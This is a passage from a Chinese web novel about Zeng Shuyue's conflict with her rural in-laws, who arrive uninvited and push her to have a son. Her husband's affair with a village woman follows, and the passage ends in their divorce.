“我不是这个意思,我是说你们来之前,怎么不写个信,我好给你们安排。”曾舒月道。 这两年,婆家得知何东在码头挣钱,让他们帮忙带着一些村里亲戚,她也没意见,正好何东当个小包头,他们也能挣点钱。 “哼,还好我们突然来了,不然怎么知道,你那么有本事,花着我儿子的钱倒贴娘家!”杨彩妹斜着曾舒月。 曾庆良当即拍桌子站起来,“谁倒贴我们了?舒月和何东以前我在家住,在我家吃喝,那不是我们出钱吗?我知道了,你是看我要住这里,所以不高兴了吧?” “我儿子住你家,是交了生活费的,怎么能算吃你们的?”杨彩妹不甘示弱地站起来,“对啊,我就是不高兴。你自己有儿子有房子,凭啥住我儿子家。你们住这里,你让我们那么多人住哪里去?” 她这次带了六个人过来,那么一大堆人,总共三个房间,现在一个都不剩。 “行,你说五块钱是生活费,那就是交了。后来那两年,胜男都是我们老两口在带,你们呢,帮过他们什么吗?”曾庆良见老伴拉他,他却甩开胳膊,“干嘛,这是事实,我想说就说!” 林家珍快急死了,和亲家第一次见面就这样吵,而且他们来了那么多人,还不知道要住多久,这让女儿以后怎么和亲家相处? 而杨彩妹两口子带那么多人来,一个是想让儿子儿媳帮忙安排工作,还一个是他们觉得儿子有出息了,能当小包头了,得来看看,好回村炫耀。 “我不信你们带胜男,曾秋月没给你们好处。”杨彩妹说着去看儿媳,“曾舒月,你就说我们今天能不能住下来?” 曾庆良也道,“我反正不走,秋月你自己看着办,是你爸妈更重要,还是这些乡巴佬更重要!” 第50章 “乡巴佬?你骂谁呢?”杨彩妹激动地指着曾庆良, “我可是何东的妈,你个岳父,怎么好意思住女儿家?” “你指着我干嘛?”曾庆良一掌拍开杨彩妹的手, 这时杨彩妹的孙子何来贵冲过来,直接推倒曾庆良。 曾向民哪里受得了这个气,冲过去和何来贵打起来。 而何家其他人,也过来帮忙,他们人多, 很快把曾向民父子死死压在地上。 曾舒月和林家珍都不会打架, 看场面越来越闹,曾舒月摔了茶壶,大喊一声,“都给我住手!” 所有人看向曾舒月。 “这里是我家, 我爸妈来住怎么了?”曾舒月看弟弟和爸爸衣服都被撕破了,“妈,你不要太不讲理。这里是何东家, 但也是我家,你们可以来住, 我爸妈同样可以来。” 平常好脾气的人发起火来,所有人都安静下来。 杨彩妹还要说话,她男人何大狗拉了拉她袖子。 何大狗道, “秋月,我们也没想闹腾,只是你看那么多人, 你让我们住哪里呢?” 何大狗两口,不仅带来自己孙子,还把亲戚家孩子带来, 他们和亲戚打包票,他小儿子有本事,肯定能给他们安排好工作。 曾舒月去看爸妈,心头堵得很。 林家珍主动道,“舒月,我们回去住,你别为难。” “干嘛回去?”曾庆良不想回去。 但这会,曾向民也注意到二姐的难处,“你就听我妈的,和我回去住。你不回去,在这里和他们较什么劲?” 曾庆良就是心里不舒服,不乐意看何家人得逞。但房间就三个,突然来了六个人,根本住不下。 没办法,他只能默认了。 不过曾向民也没急着走,现在姐夫不在家,何家来了那么多人,他们得在这里给二姐撑腰。 曾舒月深吸一口气,看向公公婆婆,“你们是何东爸妈,这个房间给你们住,小草他们打地铺。” “那么冷的天,怎么打地铺?”何大狗不太满意,觉得丢面子,“何东呢,他人在哪?你让他回来安排。” 如果儿子在,他可以让儿子做主。 “何东在码头,明天才会回来。如果不打地铺,那住招待所的钱,你们出。”曾舒月道,“我和何东买这个房子,我爸妈和妹妹都借了钱给我,到现在还没还完。如果你们非要争面子,和村里人说何东多厉害,可以安排多少人工作,那就随便你们去花钱。” 这些年,曾舒月从妹妹身上也学到了很多,不再一味地忍让。她每个季度都会给杨彩妹两口子寄钱,当时买房,也没找何家借钱。就算她日子好了点,她也不想花钱给这些人住招待所,谁让他们打了她家里人。 杨彩妹听得刺耳,“我说何东媳妇,你这是怪我们没用,不给你们钱了?” “我没这个意思。” “我看你就是这样想的,什么叫我们好面子?大家都是亲戚,互相帮忙不是应该吗?”杨彩妹大声道,“而且你别唬我,何东一个月能挣好几百,我儿子挣得钱,你是都拿去孝敬娘家了吧?” “妈,我说了我没有!”曾舒月和婆婆说不清,她又不是很能言善辩,一时半会,气得一句话说不出来。 杨彩妹却认定曾舒月帮扶娘家,不然怎么能他们第一次来,就撞见曾庆良两口子住在这里,“你少骗我了,别以为我不知道,你以前就看不上我们家,不然干嘛非要来城里?何东媳妇,做人要讲良心,你处处护着娘家就算了,儿子又不生,要你这种儿媳妇,有什么用?我是一天福都没享过你的,还要在这里被你辱骂。” 曾舒月快憋屈死了,只恨自己嘴巴没用。 曾向民看不下去,拉着二姐起身,“二姐,你也跟我们回去。就让他们在这里,明天等二姐夫回来,让二姐夫自己去处理。” 说着,他又去拉外甥女,“爸妈,我们走!” 曾舒月确实待不下去,只是杨彩妹要拽孙女。 “胜男姓何,不是姓曾,她得留下!” 何胜男去拍奶奶的手,“我不要跟你,你是坏奶奶,我要跟我妈妈走!” “你个赔钱货,你还敢打我?看我不教训你!”杨彩妹拿起扫把要打人,曾舒月冲过去挨了一下。 “妈!”曾舒月得一声怒吼,吓到了杨彩妹,“这里是榕城,不是你们村里。你要是敢打胜男一下,信不信我报警!” 她带着女儿回娘家去了,衣服什么都没带。 过了会,杨彩妹才回过神来,站在门口嗷嗷大叫,“反了天了你,天底下还没有儿媳妇敢打婆婆的。哎呦喂,我不活了,这日子还有什么意思?” 她这一嚎,邻居们隔着围墙看过来,还是何大狗把她拉进屋。 “孩他爸,你拉我干什么?”杨彩妹拍拍裤腿,她还没骂够呢,“就该让她那些邻居看看,她曾舒月是个什么样的人!” “你这种吵,何东的面子要不要?”何大狗使了个眼色,示意家里还有其他人。 杨彩妹这才看到屋里的这些人,笑着道,“哎呀,没事的。明天等何东回来,让他带你们下馆子去。我今天先给你们做个饭。” 她去了厨房,发现没菜没肉,就一些米和油,又舍不得花钱买菜,只好做了个咸菜焖饭。 “婶子,我们是不是给您添麻烦了?”吴小草到厨房来帮忙,“我都愧疚死了,我们不该跟你们来的。” “没事,不麻烦。”杨彩妹笑着道,“就该治治曾舒月,你是不知道,她这个做儿媳妇的,比我还要威风。我是一点都不喜欢她,当初要不是何东非要娶,我绝对不同意。” 吴小草是杨彩妹朋友的女儿,她听说杨彩妹要来榕城,她也想到城里打工,天天上门讨好杨彩妹。 但是看现在情况,她是有点担心,要是曾舒月不帮忙,何东会帮他们吗? 杨彩妹没注意到吴小草的神情,一个劲地说曾舒月不好,“一点都不懂事,知道我们来了,还跑回娘家,存心给我们难看。小草啊,你说我命怎么那么苦,有这么个儿媳妇,连儿子都不会生。” “婶子,您别着急,何东哥还年轻,他们还有机会的。”吴小草道。 “有个屁机会,我年年写信来催,结果呢?年年都没有消息。”杨彩妹说到这个更气,“她要是把我这个婆婆放在眼里,在何东出去挣钱时,她就应该老实在家生孩子。说什么她也要挣钱,就她干那个破保姆,能挣多少钱?” 自从得知儿子挣得比儿媳多之后,杨彩妹就想来榕城看看了,她觉得儿子更厉害,她就有底气。 吴小草默默听着,不时附和几句。 另一边,曾家人回到家里,林玉娇一开门,曾庆良又来气。 “你怎么还没走?”曾庆良刚开口,就被儿子拽住胳膊。 “爸,你好好说话,玉娇又没惹你。”曾向平给林玉娇使了个眼色,小声道,“爸妈在二姐家和二姐公婆打架,还没吃饭呢。” 林玉娇立马会意,进厨房做饭。 林家珍要去帮忙,被曾向民拉着坐下,“二姐,你就等你公婆他们都走了,你再回去。至于二姐夫怎么安排那些人,随便他,你别管,管了就要受气。” “是我太没用了。”曾舒月感叹。 “这一点,你确实比不上我三姐,今天要是三姐在,她已经把何家人打得满地找牙。”曾向民想他三姐了,“对了,明天把三姐喊回来,听听她的想法。” 曾舒月没主意,弟弟这么说,那就听弟弟的。 等吃饭时,大家伙看到林玉娇,曾庆良没胃口,随便吃了两口,回房间躺着叹气。 倒是何胜男对新来的弟弟挺有兴趣,吃饱饭拉着弟弟在院子里玩。 第二天等曾舒仪回来时,听说了二姐家的事,思索片刻,就赞同了弟弟的说法,“二姐,你公婆那个样,摆明了要找你麻烦。等二姐夫来自从,你和他说清楚,要怎么安排,让他自己安排,你别去伺候。要是好说话的,那你还去尽心尽力。你下乡那几年,真是苦了你了,我没想到你婆家那么不讲理。” 只有曾舒仪想到二姐下乡时的日子,曾舒月一听这话,眼泪哗哗往下掉。 恰好这时,何东来了,他听爸妈说,岳父岳母对他们言语辱骂,还出手打人。他心里有火气,看到曾舒月在哭,更来气,站在门口,“你出来,我有话和你说。” 没过一会儿,门外传来曾舒月两口子的争吵声,曾舒仪这才出去。 “二姐夫,你只信你爸妈的片面之词吗?”曾舒仪靠在门框上,“是,我爸妈是和向民吵架,才想着去你家住几天。但是他们不可以住吗?” 何东,“我没这个意思。但我爸妈他们大老远跑来,并不了解情况,你们可以好好说。” “你觉得我二姐是不讲理。会主动挑事的人吗?” 曾舒仪气笑了,“行了,日子还是要继续过。既然你爸妈看我二姐不顺眼,那你好好陪他们,该怎么安排就怎么安排,你有多大能力办多大事,我们不管你,你也别强行带我二姐回去受气。” “不是舒仪,我爸妈来了,舒月是儿媳妇,她让让他们怎么了?”何东现在心情很烦,“我本来工作就忙,我不可能天天在家里陪他们。” 曾舒月:“那我就不要工作吗?何东,你扪心自问,你爸妈看得上我吗?” “好了好了,我不和你吵,你要在这里随你吧。不过小草和我侄女,你得帮帮她们,看看谁家要保姆,你来安排。”何东见曾舒月不回去,干脆提出目的。 曾舒月在气头上,直接说了不,“我之前帮你堂嫂安排,结果她偷了雇主东西,连带我都被大院的人说闲话。就算我去介绍,现在也没人愿意相信我。” 要不是她在雇主家干了许多年,她可能都会被辞退。 “你怎么又说这个事,堂嫂就是看银筷子稀奇,拿着玩一下。”何东摆摆手,“算了,你不安排就算了,我说不过你。” 看何东就这么走了,曾舒月心头空空的,“舒仪,你说人是不是会变了?” 自从何东成了小包头,她就觉得他不太一样了,以前婆家也这样,何东面上不会和公婆顶撞,私下里却会向着她。 曾舒仪无奈道,“男人有钱就变坏,二姐,你好好想想,往后的日子要怎么过吧。” 她早就觉得二姐夫妇貌合神离,只是这次杨彩妹等人的到来,爆发了他们之间的矛盾。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-60 第51章 何东觉得曾舒月变了, 以前的曾舒月不会和他闹脾气,更不会让他没面子。 回到家时,面对迎过来的妈, 何东先开口,“舒月要在娘家住一段时间,大壮他们的事,我会安排。码头缺人做饭,可以让小草他们去。辛苦一点, 但有一点钱。” “去码头啊。”杨彩妹有点不乐意, “码头上都是男人,让两个姑娘去做饭,这不是……” “妈,那你想我怎么安排?”何东不想说自己办不到更好的? “你是男人, 你应该强硬起来。你告诉曾舒月,她要是还想当我们何家媳妇,就老实把这个事办了。”杨彩妹不想在好姐妹面前丢了面子, 不然回到村里,还怎么炫耀自己儿子有出息? 之前村里那些人, 没少说她家何东闲话,说什么上门女婿,以后她何家就少一个儿子, 那会她就和人吵架。 何东却不想再去找曾舒月,就在何东为难时,吴小草主动道, “婶子,没事的,我愿意去码头。您能带我来榕城就很好了, 我很感谢您和何东哥,在哪里做饭都一样,我还能帮您照顾何东哥。” “你这孩子就是贴心,去码头风大,苦了你了。”杨彩妹越看越心疼,“那你先去码头干一段时间,之后有机会,还是回城里干活。” 吴小草乖巧点点头,再去看何东,声音甜甜的,“何东哥,我做好饭了,你快去洗手准备吃饭。” 何东“嗯”了一声,要忙码头的事,又要应对家里这些人,他很疲惫。 吃过饭后,何东被爸妈拉进房间。 这次杨彩妹两口子过来,主要目的并不是为了安排吴小草他们的工作,而是催生。 “何东,你都三十几了,你看看村里那些和你一样大的人,谁家不是有儿子的?”杨彩妹表情严肃,“以前可以说你没工作,让曾舒月生孩子,一家子没钱吃饭。那现在呢,现在你有工作,也能养家糊口,趁着你们还能生,赶紧生一个吧。不然以后没儿子,你老了怎么办?” 何大狗赞同地点点头,“是啊何东,不能没有儿子。而且你们没有正式工作,不用管计划生育的事,二胎不行再生三胎,总是要有个儿子的。你也知道,咱们这边的人,宗祠观念重。你要是没儿子,以后百年,谁给你上香?” 女儿要外嫁,以后是不能进何家宗祠的,说到这点,何东面色凝重起来。 杨彩妹继续道,“别听你媳妇那些歪道理,她一个女人,又不是多好的工作。给人干保姆,一直就那点钱。她要是不同意生,我就闹到她东家那去,看她生不生!” “妈,人家住的军属院,你进不去的。”何东道。 “军属就更应该讲道理,不该拦着我们传宗接代啊!”杨彩妹拔高音量,“反正你别管,这个事有我呢。” 杨彩妹第二天,就去了军属院门口蹲着,逢人就问认不认识一个叫曾舒月的。 最后是相熟的保姆找到曾舒月,她才知道婆婆来了。 到门口一看,瞧见婆婆坐在马路对面,曾舒月赶忙跑过去,“妈,你来干什么?” “我来找你呗,你现在架子大,不能请你回家,我只能过来。”杨彩妹还坐在地上,冷哼道,“舒月啊,我跟你说,妈也是女人。咱们做女人的,最重要的是什么?是给家里传宗接代,你以前说没钱,现在有钱了,为什么还不生?” “我没说不生。”曾舒月道,“我都和何东说好了,等还完钱就生。” “那得到什么时候?”杨彩妹等不及了,“我都等那么多年,现在你都三十二了,你想想看,万一二胎还是女儿,你是不是还得生?” 但是再往后,曾舒月年纪更大,万一生不了,小儿子岂不是要绝后。 但曾舒月只想再生一个,并不想生三胎,“妈,现在国家提倡计划生育,生儿生女都一样。我只想再生一个孩子,和胜男有个伴就行。” “那不行,我要孙子。”杨彩妹看着曾舒月,“我现在认识地方,你要是不答应生孩子,我就天天来,总有一天我会遇到你东家,到时候我要问问,他是什么道理,一直不放你走!” 她说到做到,巴不得搅黄了儿媳妇的工作,这样儿媳妇才能安心做个家庭主妇。 曾舒月听得眉头紧皱,她知道婆婆能干出这种事,要是婆婆去搅和,她在家属院就干不下去了,“妈,我说了我会生的,但是家里欠了钱,你以为何东一个月挣很多钱吗?他是小包头,但是为了面子,每个月给村里那些人安排住宿吃饭,还得给高工资,到他手里,最后一个月也就一百左右。你也体谅体谅下我们吧,要么你以后别让那些人来了,要么就以后再说。” 她也是有脾气的,婆婆一直胡搅蛮缠,她也受不了。 “你……你是说,我们拖累你们,才让你不生孩子?” 曾舒月没说话,这会默认了。 杨彩妹气红了脸,“哎呦喂,我的老天爷啊,我的命好苦。我怎么就找了你这么个儿媳妇,那些都是亲戚,你要是看不上我家直说,我们不用你这种儿媳妇!” 杨彩妹嗓门大,很快有人注意过来,同样被吸引的,还有骑车经过的曾舒仪。 她没想到,会在这里见到二姐和杨彩妹,靠近的时候,听到杨彩妹说的那些话,拉开她二姐,“何家婶子,你在这里闹什么呢?” “关你什么事?” “你影响了我二姐,就关我的事。”曾舒仪问二姐怎么了。 曾舒月小声说了几句,曾舒仪立马明了,“原来是催生啊,我二姐不是说了,她会生二胎。而且她说得不对么,这些年,你们为了自己的面子,不管是不是亲戚,什么阿猫阿狗都塞给他们,以至于我二姐夫是个小包头,却挣不到什么钱。这就是你们的错啊。” 杨彩妹被曾舒仪当众说不是,跳了起来,“你……你个死丫头,你还懂不懂尊重老人?” “尊重的前提,是你值得被尊重,但你值得吗?”曾舒仪对杨彩妹这种人,可从来不嘴下留情,“何家婶子,人的面子是靠自己挣的,你们来榕城可以,要我二姐夫两口子养你们都可以。但人要清楚自己几斤几两重,没有金刚钻,就别揽瓷器活。你们不能给人安排工作,那就别答应。” 她停下笑了起来,“如果你们非要说,都是亲戚啊,拒绝不了。没关系,你带我回村,我保证帮你把村里人都拒绝一遍。你可以来我二姐这边闹,我们也是可以去找你们村里人说道说道,你说是不是?” 杨彩妹脸憋得更红了,“你……你是疯了吗?” “这话可不能乱说,我要是疯了,怎么开公司挣钱?”曾舒仪皮笑肉不笑地看着杨彩妹,“何家婶子,你还是见好就收吧,不然我去砸了你家,你才知道我是不是疯了!” “曾舒月,你就看着这个疯女人欺负我吗?”杨彩妹说不过曾舒仪,只好转头找儿媳妇。 曾舒仪挡在姐姐跟前,“我可没动你一根手指头,别乱说话,不然我是会报警的。” “你去啊,有本事你就报警,我倒要看看,警察帮谁?” “这可是你说的。”曾舒仪说着就要拉着杨彩妹去警察局,结果杨彩妹怕了,甩开曾舒仪跑了。 她看着杨彩妹这个背影,无奈叹气,“二姐,你这个婆婆,和她说是说不通的,她永远不会意识到自己的错。她拿捏你的时候,你就要反向拿捏她。想想她害怕的事。” “舒仪,今天谢谢你。”要是曾舒月自己,还真说不过她婆婆。 “和我就不用这样客气,昨天我说的话,你要记在心上。公婆的态度其实可以无所谓,重点是我二姐夫怎么想。你得想想,怎么过以后的日子。”曾舒仪也无法直接插手管姐姐的婚姻。 回家后,看陈澈在家里,有些好奇,“你今天怎么那么早回来?” “厂里一群职工罢工,包围着厂里不让开工,我们只好停厂。”陈澈抱着儿子,见曾舒仪坐下,把儿子交给他妈,“你怎么样,有没有什么事要我出面?” “不用,你对付不了我二姐的极品亲戚,也解决不了我弟弟的感情问题。” 和陈澈结婚后,曾舒仪觉得最大的好处,就是婆家没有糟心事。不然她管了娘家,又要管婆家,那才叫一个心累。 “你把我说得,好像很没用。”陈澈笑了。 于美兰道,“舒仪这是不想麻烦你,不过舒仪,你二姐婆家怎么样,得看你二姐夫态度,他怎么说?” “他啊?”曾舒仪冷哼一声,“典型的窝囊人走运后变了,不管他们的事了,人有自己的活法,我该说的都说了,剩下看他们自己。我总不能逼着我二姐离婚,又威胁弟弟分手,这种吃力不讨好的事,我不干。” 说着,她看向边上的爱人,“听我爸妈说,棉纺厂开不下去,要走私营了。你要不要看看,如果机械厂不行,咱们买下来,你当厂长?” 说道机械厂的事,陈澈面色凝重,“机械厂到底是省里的重点单位,不至于私营。只是以后的发展,可能确实不行。” 其实过去一年里,一直有人挖陈澈,但本着在机械厂发展那么多年的情怀,他一直没心动。 曾舒仪也没劝过陈澈离开,她家里不缺钱了,他们继续工作,是为了个人成就感,“那你就想一想,以后的出路。你还年轻,不像五六十岁那些老头子,他们守着机械厂等退休,但你还是可以干出一番天地的。” 于美兰也点头说是,“我听你爸爸说,机械厂这两年都是亏钱,特别是去年有各种私营厂出现,机械厂的收益更差。私营厂的机械器材更先进,机械厂却没钱引进国外先进技术。小澈,你也有三十出头了,该规划下以后的出路。” 她抱着孙子,小家伙沉得很,却很乖,不哭也不闹,白白胖胖很是可爱,“要我说啊,你干脆从机械厂推出,自己干也行,去更大的公司也好。” 于美兰已经退休,她现在就带带孙子,帮忙做饭,其实她想着儿子从机械厂退了,还可以再生个孙女。她就一个孩子,现在退休没事做,就喜欢带孩子。 不过这样的话,她不会说出口,儿子和儿媳有他们自己的规划,她不去讨人嫌。 第52章 有人识趣, 就有人不识趣。杨彩妹回家,把曾舒月姐妹臭骂一顿。 “你是没看到,曾舒月看着她妹妹当街骂我, 一句话都不帮我说。说我没本事硬撑面子,还说是我们耽误了何东。你听听,这是人话吗?”杨彩妹坐在房间里,饭都不想吃了。 何大狗面色沉下来,“当初我就不喜欢曾舒月这个儿媳妇, 以为她是城里人, 能有些嫁妆。结果家里看不上,现在又是最没有本事的一个。你就去闹,我不信曾舒仪真敢去咱们村里,咱们村里多少人指望咱们, 他们会帮曾舒仪?” 他才不信! 杨彩妹的一点迟疑,全被何大狗打消了,“行, 我就按你说的做,她曾舒月再有本事, 也得回家老老实实给我生孩子!” 往后一周,杨彩妹都去堵曾舒月,还真让她堵到曾舒月东家, 她一哭二闹三上吊,弄得东家不得不找曾舒月谈话。 曾舒月从周家离开后,就一直在这个东家做, 可以说相处得还不错。 东家也体谅曾舒月不容易,遇到这种不讲理婆婆不好受,但东家也要顾及自己名声, 让曾舒月解决好这个事,如果有什么需要,也可以帮忙。 曾舒月被说得面红耳赤,第二天下午请了假回家,她是好脾气,但有她自己的底线。 这时的杨彩妹两口子正在客厅聊天,曾舒月冲进房间里,把他们东西全丢出来,“你们滚,都给我滚!” 杨彩妹两个傻了眼,等东西丢了一地,杨彩妹这才去抢东西,“你个疯婆娘,你到底要干嘛?” “我干嘛?”曾舒月怒斥杨彩妹,“你跑去闹,就是想我回家是吧,我告诉你,我偏不!我已经不是十年前的我,会忍气吞声,被你欺负。” 她指着杨彩妹和何大狗,“今天你们就给我滚,就算何东来了都没用!” “哎呦喂,大家快看啊,儿媳妇打公婆了!”杨彩妹打开大门,坐在路上大哭特哭。 曾舒月却不管她怎么哭,把那些东西都丢了出去,再把门给关了。 这一刻,她之前有多少无奈,现在就多气愤。 凭什么都要她忍? 她偏偏不忍了。 等傍晚何东赶来,杨彩妹恶人先告状,“你看看你找的好媳妇,她就是这样欺负我们老两口!” 何东看着院子里狼藉的东西,推门推不开,“砰砰”踹了几下把门踹开,对着曾舒月就是一巴掌,“谁让你这么对我爸妈的?” 曾舒月被打懵了,她看了何东好一会儿,眼泪才掉下来,“你打我?” 何东这才意识到自己冲动了,“我……不是……你有事不能好好说么,干嘛要闹成这样?我爸妈是长辈,就算他们有什么没做好的地方,你忍一忍不行吗?” “我忍得还不够多吗?”曾舒月撕扯着嗓子大喊,“你知道你爸妈都干了什么吗?他们跑到我工作地方,说我哪里都不好,他们存心不想让我干了!” “那你就别干了,我觉得爸妈说得对,我们应该生二胎了。”何东撇过头,不去看曾舒月。 “原来你也这样想?”曾舒月气笑了,这里哪里是是她家? 她冲出了家门,第一反应是回家,可是转念想到回家,她又能说什么? 让家里人来打何东? 那胜男怎么办? 曾舒月最后回了东家那,不过往后几日,杨彩妹两口子没再来闹腾。 连着半个月,曾舒月都没看到何家人,直到何东找来,说公婆已经回去。 “舒月,别闹了,回家吧,咱们还得继续过呢。”何东说这话时有点心虚。 曾舒月却看清了何东,“你让我回去生孩子吗,那我还就不生了。” “你干嘛非要这样?”何东不理解,以前温柔体贴的老婆,怎么变成这样了? “是我要这样吗?”曾舒月咽不下这口气,“是你们家欺人太甚,我有说过不生二胎吗?说了还完钱就生,结果你爸妈聪明得很,把我在这里的名声弄臭了。你也开心了,说不定哪天我就干不下去了。” 她对何东,越来越失望,“算了,我和你说不通。何东,就这样过吧,你想想胜男,我不想再和你争吵,这样对孩子不好。” 曾舒月转身进了家属院。 何东则是气得踹墙,他非常不理解,为什么会这样。 夫妻俩的关系到了冰点,往后一直到过年,都没什么说话。还是除夕夜,不得不坐在一块吃饭。 从小寄人篱下的何胜男,对于爸妈的感情,敏感捕捉到不一样。 去外婆家拜年时,特意找到三姨问怎么办。 “你觉得你爸爸妈妈怎么了?”曾舒仪问。 “其实我能知道一些事,爸爸想妈妈回家生弟弟,妈妈觉得爸爸不尊重她。他们两个看到对方,都没了笑脸。三姨,我好害怕,怕他们一直这样下去,我在家都不敢发出动静,就怕他们因为我而吵架。”何胜男说着有点想哭。 曾舒仪无奈叹气,她觉得这个是无解的题。二姐夫有工作后,才显露出大男子主义。而二姐也有自己的底线,就算她自己结了婚,也不知道该怎么劝说。 她摸摸外甥女的头,“其实呢,你不用那么小心翼翼。你爸妈,永远都是你爸妈,不管他们怎么样,他们都会爱你。” “三姨,你也没办法吗?”何胜男问。 曾舒仪摇摇头,“你三姨我虽然挣钱厉害,但是在调解夫妻感情的事,一直都不擅长。” 何胜男失望地垂下脑袋,这时表姐来喊她出去玩,把她拉了出去。 曾舒仪则是去厨房看看有没有要帮忙的,今天她大哥大嫂也回来了。 王娟戴着金戒指和金项链,这是年底刚买的,特意戴回婆家得瑟,“妈,你真让向民女朋友进门啊?” 说到小儿子的对象,林家珍已经被迫妥协了,“全家人都劝不动他,我还能有什么办法?” 好在和林玉娇相处的这段日子,可以看出林玉娇不太会做家务,但脾气还不错,人也有礼貌。 “要我说啊,这就是你们太宠向民了,你们要是不给他们提供住宿,还有吃吃喝喝,他们迟早要为了柴米油盐分开。”王娟嘴上这么说,心里却高兴看热闹。公公没少说她不能生,现在好了,直接当免费的爷爷。 曾舒仪道,“你当向民还是十几岁的时候么,他工作那么多年,自己有了钱,也准备买房结婚了。” “啊,他有那么多钱吗?”王娟看着曾舒仪,“舒仪,你是不是帮他了?” 这几年,小姑子越来越有钱,大别墅都住上了,却对他们一家爱搭不理。这一点,王娟很有怨气。 “我帮他什么?”曾舒仪一眼看出大嫂心思,“他自己的钱,我是没有帮他。就算我帮他,也是应该的,你这个做大嫂的更应该!大嫂,向民买房,你准备借他多少钱?” 王娟才不想借钱给曾向民,“我哪里有钱,你又不是不知道,我被停薪留职了。到现在,我还没有新工作,我可比不得你,日子轻松,还有个副厂长的老公。” “那你是不如我,我比你有福气多了。”曾舒仪笑呵呵地膈应她大嫂。 王娟待不下去,气鼓鼓地去客厅。 客厅里,男人们正在说工作上的事,曾向民一直在问陈澈关于大货车的事。 机械厂每年都会淘汰一批火车,曾向民去年买了两辆,他想搞个运输公司,但是两辆车太少了,“三姐夫,有没有办法,多搞几辆?” 陈澈还没说话,曾向平先开口,“我劝你啊,还是踏实点,别一天天的想着发大财。我听说你买卡车的钱都是借的,怎么,还要去哪里借钱?” “大哥,你借我一点呗?”曾向民不像小时候那么火气大,也会和他大哥说笑了。 曾向平却愣住,怕弟弟真要借钱,赶忙说没有钱,“你大嫂停薪留职,家里手头紧得很。” 这时王娟过来,手上金戒指特别两眼。 曾向民故意道,“哟,大嫂你这金戒指不便宜吧?” “啊?还好,不会很贵。”王娟刚说完,就看到曾向民笑了,而曾向平黑了脸。 曾向民:“大哥,你还说没钱,你看大嫂说的,她连金戒指、金项链都不觉得贵。你和我哭穷呢!” 这时曾庆良也开口,“向平,向民是你亲弟弟,他现在创业难,你作为大哥,有能力还是帮帮你弟弟。以后你百年进祠堂,可是要靠向民儿子的。” 大儿子没有儿子,这一点还是曾庆良最在意的事,他甚至想过给大儿子抱养一个儿子,但之前儿媳妇有工作,现在倒是可以办起来了。 有曾庆良说话,曾向民乐呵呵地去看他大哥。 陈澈则是识趣不说话,抱着儿子去看媳妇干什么。到了后厨,夫妻两一个眼神就明白怎么回事。 在曾家吃了个饭,曾舒仪就带着爱人孩子走了。 “我大哥这两年挣了一些钱,但我大嫂也会送,没少给娘家送钱。不过这是他们自己的日子,我懒得管。向**输队的事,你觉得如何?”曾舒仪问。 陈澈说可行,“现在对运输需求越来越大,我觉得向民在深圳确实长见识,人也更沉稳。对了,你们家对他的婚事,算是默许了吗?” “他都那么大的人了,不同意也得同意。我看林玉娇人还行,至少比我大嫂好,没有什么心眼,这点最重要。而且林玉娇没有爸妈,就一些亲戚,但她离那么远,以后多半不怎么来往。”曾舒仪道。 陈澈点点头,“向民的运输队,你不用太操心,倒是二姐夫的事,我听说了一些。” “他怎么了?” “我听人说,他带来的那些老乡,素质都太低了,在码头没少给他惹事。前些日子,他的侄儿和人打架,都进了医院,我就是去医院时碰见二姐夫,才知道这个事。怎么,二姐没和你说吗?”陈澈之前就想说这个事,但当时没说就忘记了,现在才想到。 曾舒仪:“二姐应该不知道,他们最近关系紧张,连胜男都看出来了。他们这样子过,自己也难受,但又碍于孩子,又分不开。” 解决不了问题,又无法有个决断,这种是最难受的。曾舒仪思来想去,打算还是叫上二姐聊一聊。 过了几天,曾舒仪带着孩子去二姐家拜年,看到门开着,曾舒仪自己推门进去。 她还没喊人,先听到屋里传来哭声,等她到门口,才看到二姐坐在地上哭得一抽一抽的。 “二姐,你怎么了?”曾舒仪赶忙跑过去。 “呜呜舒仪,我要和何东离婚!”曾舒月抱住妹妹,哭得上气不接下气。 第53章 看姐姐这样, 曾舒仪有点心慌,赶忙问怎么了。 “吴……吴小草今天来找我,她……她说她怀孕了。”曾舒月哭得上气不接下气。 就算公婆再无理取闹, 何东再怎么变化,曾舒月都没想过要离婚。孩子需要完整的家,她可以为了孩子去忍让,但是不能接受丈夫有了别的女人。 “什么?”曾舒仪大惊,“他们什么时候好上的?” 曾舒月摇头, “我不知道。” 她与何东都碰不上面, 更没有关心何东的情况,“舒仪,你说是我做错什么了吗?” 曾舒仪摇摇头,抱住姐姐, “二姐,咱们离就离,没有谁离开谁, 会过不下去。你现在要想的,是家里这些东西怎么分。” “我只要胜男, 其他都不要。”曾舒月脱口而出。 “那不行,你什么都不要,还带着胜男, 你是想让胜男跟你吃苦受罪吗?”曾舒仪道,“你带着胜男回榕城,不就是想她能过好点日子, 你愿意看她吃苦?” “二姐,本该属于你的东西,就该拿回来。你不要, 不就便宜那对狗男女?” 曾舒仪说得咬牙切齿,她想过大哥还不老实,但没想到二姐夫能和吴小草搞上。 安抚二姐的空隙,曾舒仪去给弟弟打了电话。在曾向民过来前,何东先到了。 何东肉眼可见地慌张,“舒月,我……” 曾舒月冲过去,“啪啪”甩了何东两个耳光,“何东,你还是人吗?” “舒月,那只是个意外,我对小草并没有感情。”何东解释道,“你别这样,我会处理好小草的事,为了胜男,你就原谅我这一次。” “怎么处理?人吴小草特意跑来找我,说她喜欢你,一定要生下你的孩子。怎么,你敢强行拉着她去打胎?”曾舒月打定主意要离婚,“我告诉你何东,我们离定了!” “不是,你怎么不能谅解我呢?”何东很烦躁,“要不是你天天和我闹,我也不会喝酒出事,我都说了是意外,你听听我的解释行不行?” 他大吼大叫,把陈云凌吓得哇哇大哭。 曾舒仪抱起儿子,瞪着何东道,“何东,你要还是个男人,就负起责任来。你敢说。吴小草对你的心思,你一点都不知道?” “我……” “又要给你自己找什么理由?”曾舒仪冷笑,“我发现你和我大哥真是一样的人,只会给自己找理由,想别人的错,而不去总结自己的过失。事情已经发生,人吴小草现在非你不嫁,你不离婚。吴小草到时候闹得你们村都知道,你何东是不是还要背个**犯罪名?” “我劝你好聚好散,别口口声声用胜男来道德绑架我二姐,是个男人就敢作敢当!” 话音刚落,曾向民带着几个开车师傅来了,二话没说,把何东揍了一顿。 “二姐,和他离,这里是榕城,还轮不到他嚣张!”曾向民放下狠话,要何东给个痛快话。 曾舒月越看何东越恶心,也知道这个事如果告诉家里,家里肯定不同意。 她快刀斩乱麻,逼着何东去领了离婚证。 曾舒仪建议房子就不要了,毕竟这里何家人都知道,以后何家有个什么事,都会找来。倒不如折算成钱,让曾舒月带着钱,另外买过的房子。 